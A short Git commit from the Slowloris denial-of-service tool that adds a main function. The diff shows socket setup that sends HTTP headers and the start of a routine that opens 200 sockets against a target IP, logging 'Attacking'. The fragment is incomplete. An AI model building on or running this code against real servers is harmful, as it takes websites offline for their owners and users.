Added main function to slowloris.py

This commit is contained in:
Gökberk Yaltıraklı 2015-04-26 12:56:08 +03:00
parent 18cb078818
commit f5b884ceaf
1 changed files with 27 additions and 26 deletions

View File

@ -26,6 +26,7 @@ def init_socket(ip):
s.send("{}\r\n".format(header).encode("utf-8"))
return s
def main():
ip = sys.argv[1]
socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))